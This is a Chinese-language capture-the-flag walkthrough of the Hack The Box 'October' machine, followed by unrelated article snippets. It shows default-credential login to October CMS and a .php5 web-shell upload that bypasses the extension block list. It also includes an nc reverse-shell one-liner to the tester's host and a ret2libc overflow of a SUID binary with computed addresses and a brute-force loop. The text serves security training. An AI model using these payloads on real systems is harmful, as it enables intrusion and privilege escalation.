Linux/October

news2024/11/26 23:29:02

October

Enumeration

Nmap

扫描发现对外开放了22和80端口,使用nmap详细扫描这两个端口

┌──(kali㉿kali)-[~/vegetable/HTB/October]
└─$ nmap -sC -sV -p 22,80 -oA nmap 10.10.10.16                                                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-19 02:19 EST
Nmap scan report for 10.10.10.16
Host is up (0.32s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79b135b6d12512a30cb52e369c332628 (DSA)
|   2048 16086851d17b075a34660d4cd02556f5 (RSA)
|   256 e397a7922372bf1d098885b66c174e85 (ECDSA)
|_  256 8985909820bf035d357f4aa9e11b6531 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.62 seconds

nmap 给出的结果显示使用了 cms,进入网页显示如下,从标题栏也可以看出使用了 October 的 cms,Vanilla 好像是一个主题

搜索 OctoberCMS 找到其官网,介绍项目是基于 Laravel PHP 框架的自托管 CMS 平台。搜索关键词 “vanilla october cms” 时,显示 vanilla 确实是一个主题,是一个简单的入门模板,用于实现帐户管理、博客和社区论坛,进而找到该 主题的 github 存储库

Exploitation

October CMS

尝试搜索该cms是否存在可利用的漏洞,发现 exploitdb 中记录了很多,但是全部都需要登录认证后才可以,搜索关键词 “october cms default credentials”,可以找到网站后台 uri 为 /backend,默认的用户名密码为 admin/admin

输入正确用户名密码登录后,可以利用 exploitdb 给出的方法来上传php文件,可以看到是限制了以下几种上传文件的格式,但是可以使用 php5 来绕过

==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }
====================  source end  ========================

点击页面上 media,可以找到上传按钮,上传 php 文件时 burpsuite 响应中显示 "The file type used is blocked for security reasons.",将数据包发送到 repeater,然后将文件后缀名修改为  .php5,点击发送,会显示上传成功

POST /backend/cms/media HTTP/1.1



------WebKitFormBoundary9V5aBljc6GaJgulB

Content-Disposition: form-data; name="file_data"; filename="php_cmd.php5"

Content-Type: application/x-php



<?php system($_POST['cmd']); ?>


HTTP/1.0 200 OK

{"link":"\/storage\/app\/media\/php_cmd.php5","result":"success"}

然后可以执行命令

然后在cmd后拼接命令,并点击发送

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.24 9001 >/tmp/f

kali 的监听端会收到一个 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 9001                             
listening on [any] 9001 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.16] 55354
bash: cannot set terminal process group (1290): Inappropriate ioctl for device
bash: no job control in this shell
www-data@october:/var/www/html/cms/storage/app/media$

对该shell进行升级

www-data@october:/var/www/html/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/bash")'
<tml/cms/storage/app/media$ python -c 'import pty;pty.spawn("/bin/bash")'    
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
zsh: suspended  nc -nvlp 9001
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg                 
[1]  + continued  nc -nvlp 9001
                               reset
reset: unknown terminal type unknown
Terminal type? screen

在这里可以获取user.txt

Privilege Escalation

ovrflw溢出

对这部分内容不是非常熟悉,我参考了 0xdf 的文章,HTB: October | 0xdf hacks stuff

查找主机中设置了 SUID 权限位的文件

www-data@october:/var/www/html/cms/storage/app/media$ find / -perm -4000 2>/dev/null
<tml/cms/storage/app/media$ find / -perm -4000 2>/dev/null                   
/bin/umount
/bin/ping

 <--snip-->

/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw

最后一个 /usr/local/bin/ovrflw 看起来很有意思,尝试运行该文件,提示需要输入一个字符串

www-data@october:/usr/local/bin$ ./ovrflw

Syntax: ./ovrflw <input string>

但是跟上字符串 vegetable 后,却什么都没有返回,又添加了大量字符串,却显示分段错误,有一个溢出,利用缓冲区溢出可能会获得 root 权限,可以参考 Frolic 机器

www-data@october:/usr/local/bin$ ./ovrflw vegetable
www-data@october:/usr/local/bin$ ./ovrflw $(python -c 'print "A"*500')
Segmentation fault (core dumped)

/proc/sys/kernel/randomize_va_space 是 linux 系统中的一个文件路径,用于控制系统中的地址空间布局随机化(Address Space Layout Randomization,ASLR)功能,打开该文件检查 ALSR 功能设置,可以看到设置为 2,表示采用较为激进的 ASLR 设置,在这种情况下,除了共享库和可执行文件的地址外,栈的地址也会随机化。查看与 libc 相关的 ovrflw 所依赖的动态链接库时,发现 libc 地址一直在改变

www-data@october:/usr/local/bin$ cat /proc/sys/kernel/randomize_va_space
2
www-data@october:/usr/local/bin$ ldd ovrflw |grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e3000)
www-data@october:/usr/local/bin$  ovrflw |grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a7000)
www-data@october:/usr/local/bin$ ldd ovrflw |grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d5000)

将二进制文件传回kali系统,然后使用 gdb 来调试程序,因为输入大量字符后会导致程序溢出,所以需要找出 EIP 偏移量。

┌──(kali㉿kali)-[~/Downloads]
└─$ gdb -q ./ovrflw                                    
Reading symbols from ./ovrflw...
(No debugging symbols found in ./ovrflw)
gdb-peda$ 

已经在 gdb 中加载了 peda 程序,可以使用 peda 中的 pattern_create 500 来生成非重复的500字符的字符串

gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

将该字符串作为参数传递执行 ovrflw 文件,r 表示 run

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A'

[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7e1dff4 --> 0x21dd8c 
ECX: 0xffffd2a0 ("sKAsgAs6A")
EDX: 0xffffcf97 ("sKAsgAs6A")
ESI: 0x80484d0 (<__libc_csu_init>:      push   ebp)
EDI: 0xf7ffcba0 --> 0x0 
EBP: 0x6941414d ('MAAi')
ESP: 0xffffce20 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xffffce20 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8"...)
0004| 0xffffce24 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA"...)
0008| 0xffffce28 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%"...)
0012| 0xffffce2c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%O"...)
0016| 0xffffce30 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA"...)
0020| 0xffffce34 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%"...)
0024| 0xffffce38 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%Q"...)
0028| 0xffffce3c ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()

可以看到,程序在 0x41384141 处崩溃,可以查看偏移量

gdb-peda$ pattern_offset 0x41384141
1094205761 found at offset: 112

可以使用 readelf 工具来查看共享库 libc.so.6 的符号表,并过滤出 system@ 和 exit@ 的行,可以看到名为 system 的符号偏移地址为 00033260,名为 exit 的符号偏移地址为 00040310,162bac是 /bin/sh 在 libc.so.6 文件中的偏移地址,以 16 进制表示

www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7577000)
        
www-data@october:readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"   
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
  
www-data@october:strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
    162bac /bin/sh

所以可以计算,并将最后的值转化成字节序列并按照小段字节序排列

exit: 0xb75a7000+0x33260 = 0xb75da260 = \x60\xa2\x5d\xb7 
system: 0xb75a7000+0x40310 = 0xb75e7310 = \x10\x73\x5e\xb7
/bin/sh: = 0xb75a7000+0x162bac = 0xb7709bac = \xac\x9b\x70\xb7

[JUNK] + SYSTEM(ret地址覆盖)+ EXIT(下一个返回地址)+“/bin/sh”(args),其中112个JUNK字符导致程序崩溃溢出

不启用ASLR的话,执行下面的指令即可

/usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x73\x5e\xb7" + "\x60\xa2\x5d\xb7" + "\xac\x9b\x70\xb7"');

因为地址一直在变化,所以可以写一个循环

while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x73\x5e\xb7" + "\x60\xa2\x5d\xb7" + "\xac\x9b\x70\xb7"'); done

最后拿到shell

参考链接:

October - PHP CMS platform based on the Laravel Framework (octobercms.com)

https://github.com/rainlab/vanilla-theme

October CMS 1.0.412 - Multiple Vulnerabilities - PHP webapps Exploit

HTB: October | 0xdf hacks stuff

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1587519.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MobX原理剖析:基于可观察状态和自动依赖追踪的响应式状态管理

我们用代码示例来说明 MobX 的核心原理。 首先,我们定义一个简单的 Store 类,其中包含一个可观察的计数器状态: import { observable, action } from mobx;class CounterStore {observable count 0;actionincrement () > {this.count;};actiondecrement () > {this.…

spring快速搭建聊天AI

官网url: https://spring.io/projects/spring-ai 本文演示的是open AI 1创建java项目 2.拿到AI的key&#xff08;没有的话可以去淘宝花几块钱买一个&#xff09; //YOUR_API_KEY写你自己的open AI的key spring.ai.openai.api-keyYOUR_API_KEY spring.ai.openai.chat.options.…

《前端防坑》- JS基础 - 你觉得Boolean(‘false‘) === false吗?

问题 你觉得Boolean(false) false吗&#xff0c; Boolean([]) false吗&#xff1f; 答案 Boolean(false) true, Boolean([]) true 验证 原因 Boolean 对象表示两个值&#xff1a;"true" 或 "false" 但是能使Boolean为flase的只有6种情况&#xff…

Python八股文:基础知识Part1

1. 不用中间变量交换 a 和 b 这是python非常方便的一个功能可以这样直接交换两个值 2. 可变数据类型字典在for 循环中进行修改 这道题在这里就是让我们去回答输出的内容&#xff0c;这里看似我们是在for循环中每一次加入了都在list中加入了一个字典&#xff0c;然后字典的键值…

如何发现高危的PoC和EXP?漏洞检测方法 示例,实战应急实战举例,包括:SQLi、XSS、SSTI/ELI、文件哈希、SSRF、命令执行/命令注入等等

如何发现高危的PoC和EXP?漏洞检测方法 & 示例,实战应急实战举例,包括:SQLi、XSS、SSTI/ELI、文件哈希、SSRF、命令执行/命令注入等等。 在网络安全领域,发现高危的PoC(Proof of Concept)和EXP(Exploit)对于防范和应对潜在的安全威胁至关重要。以下是关于如何发现高…

【springCloud】版本学习

Spring Cloud介绍 官网地址&#xff1a;https://spring.io/projects/spring-cloud Spring Cloud 是一个基于 Spring Boot 的微服务架构解决方案&#xff0c;它提供了一系列工具和模式来帮助开发者构建分布式系统。Spring Cloud 的组件和模式包括配置管理、服务发现、断路器、…

为什么要部署IP SSL证书?怎么申请?

我们需要知道什么是IP SSL证书。SSL&#xff0c;全称为Secure Sockets Layer&#xff0c;即安全套接层&#xff0c;是为网络通信提供安全及数据完整性的一种安全协议。而IP SSL证书就是基于SSL协议的一种证书&#xff0c;它能够为网站和用户的数据传输提供加密处理&#xff0c;…

专科学习嵌入式合适吗?

专科学习嵌入式是完全合适的&#xff0c;但确实需要注意一些因素以确保你的学习之路更加顺利。我这里有一套嵌入式入门教程&#xff0c;不仅包含了详细的视频讲解&#xff0c;项目实战。如果你渴望学习嵌入式&#xff0c;不妨点个关注&#xff0c;给个评论222&#xff0c;私信2…

Python数据可视化:同时展示两个变量之间的双变量(联合)关系以及每个变量的单变量(边缘)分布seaborn.jointplot

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 Python数据可视化&#xff1a; 同时展示两个变量之间的 双变量&#xff08;联合&#xff09;关系以及 每个变量的单变量(边缘)分布 seaborn.jointplot 选择题 jointplot可以画出什么样的图标?…

Python生成图片和音频验证码

captcha是pyhton的一个模块&#xff0c;用来生成图片和音频验证码。 安装 pip install captcha使用 from captcha.audio import AudioCaptcha from captcha.image import ImageCaptcha# 加载声音和字体 audio AudioCaptcha(voicedir/path/to/voices) image ImageCaptcha(…

JSONP是跨域资源共享的古老技术吗

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

计算机网络——抓取icmp包

前言 本博客是博主用于记录计算机网络实验的博客&#xff0c;如果疏忽出现错误&#xff0c;还望各位指正。 抓包 我们是用Wireshark工具来进行抓包的。 ​在安装时候一路打勾安装即可&#xff0c;不过最后那个因为是英文&#xff0c;一定要看清&#xff0c;点了立即重启&am…

Oracle 21c 数据库迁移到DM8(达梦)数据库

一、环境准备 1、创建脚本 执行dmCreateUser.sql脚本创建GLJ用户&#xff08;注意&#xff1a;需要与需要迁移的oracle用户名一样&#xff09;&#xff0c;如&#xff0c;脚本内容如下&#xff1a; -- 开始将输出重定向到指定的日志文件 spool start /home/dmdba/dmdbms/sql/…

【探索Linux】P.28(网络编程套接字 —— 简单的UDP网络程序模拟实现)

阅读导航 引言一、UDP协议二、UDP网络程序模拟实现1. 预备代码⭕makefile文件⭕打印日志文件⭕打开指定的终端设备文件&#xff0c;并将其作为标准错误输出的目标文件描述符 2. UDP 服务器端实现&#xff08;UdpServer.hpp&#xff09;3. UDP 客户端实现&#xff08;main函数&a…

【QT学习】6.控件进阶,C与C++的强制类型转换,自定义控件,qt制作一个简易播放器

1.C与C的强制类型转换 2.自定义控件 要求&#xff1a;制作一个登录页面 1.使用控件拖拽一个页面出来 使用水平布局&#xff0c;垂直布局&#xff0c;网格布局 2.建立自定义控件 1.为项目添加自定义的类 自己写一个控件 2. &#xff08;1&#xff09;创建一个Group Box容器 &a…

Shenandoah GC算法

概述 最早由Red Hat公司发起&#xff0c;目标是利用现代多核CPU的优势&#xff0c;减少大堆内存在GC时产生的停顿时间。随OpenJDK 12一起发布&#xff0c;暂停时间不依赖于堆的大小&#xff1b;这意味着无论堆的大小如何&#xff0c;暂停时间都是差不多的。 Shenandoah最初的…

服务器感染了.rmallox勒索病毒,如何确保数据文件完整恢复?

引言&#xff1a; 随着网络技术的发展&#xff0c;勒索病毒已经成为当今数字时代的一大威胁。近期出现的.rmallox勒索病毒更是引发了广泛关注。本文将深入探讨.rmallox勒索病毒的特点&#xff0c;并提供一系列应对这一威胁的高效策略。如果受感染的数据确实有恢复的价值与必要…

Android MTK 屏下指纹的调试过程记录

Demo链接 -----> https://download.csdn.net/download/u011694328/89118346 一些品牌手机都有了屏下指纹的功能&#xff0c;还算是个比较新颖的功能&#xff0c;最近有项目需要使用屏下指纹&#xff0c; 使用的是汇顶&#xff08;Goodix&#xff09;的指纹方案&#xff0c…

【vue】绑定事件 v-on

v-on 简写&#xff1a; clickkeyupkeydownkeyup.wkeyup.ctrl.a <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

跟TED演讲学英文:The inside story of ChatGPT‘s astonishing potential by Greg Brockman

The inside story of ChatGPT’s astonishing potential Link: https://www.ted.com/talks/greg_brockman_the_inside_story_of_chatgpt_s_astonishing_potential Speaker: Greg Brockman Date:April 2023 文章目录 The inside story of ChatGPTs astonishing potentialIntro…